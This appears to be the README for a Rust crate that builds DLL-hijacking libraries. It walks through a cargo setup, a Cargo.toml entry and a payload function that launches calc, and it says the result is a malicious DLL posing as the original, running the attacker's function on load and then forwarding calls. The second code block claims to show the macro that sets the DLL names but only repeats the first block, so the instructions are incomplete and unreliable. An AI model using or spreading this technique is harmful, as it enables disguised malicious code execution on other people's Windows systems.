Dll hijack -- just one macro
Create a lib project
shell
cargo new demo --lib
Modify Cargo.toml ```toml [package] name = "demo" version = "0.1.0" edition = "2021"
[lib] crate-type = ["cdylib"]
[dependencies] dll-hijack = "1.0.0" ```
Modify lib.rs
Write a function that will be executed when the dll is loaded ```rust use std::process;
fn test() { process::Command::new("calc").spawn().unwrap(); } ```
Set the original dll name and evil dll name using macros ```rust use std::process; use dll_hijack::hijack;
fn test() { process::Command::new("calc").spawn().unwrap(); } ```
The malicious dll will be disguised as the original dll, and the malicious dll will execute the malicious function first when loaded.
Then the request for the malicious dll will be forwarded to the original dll.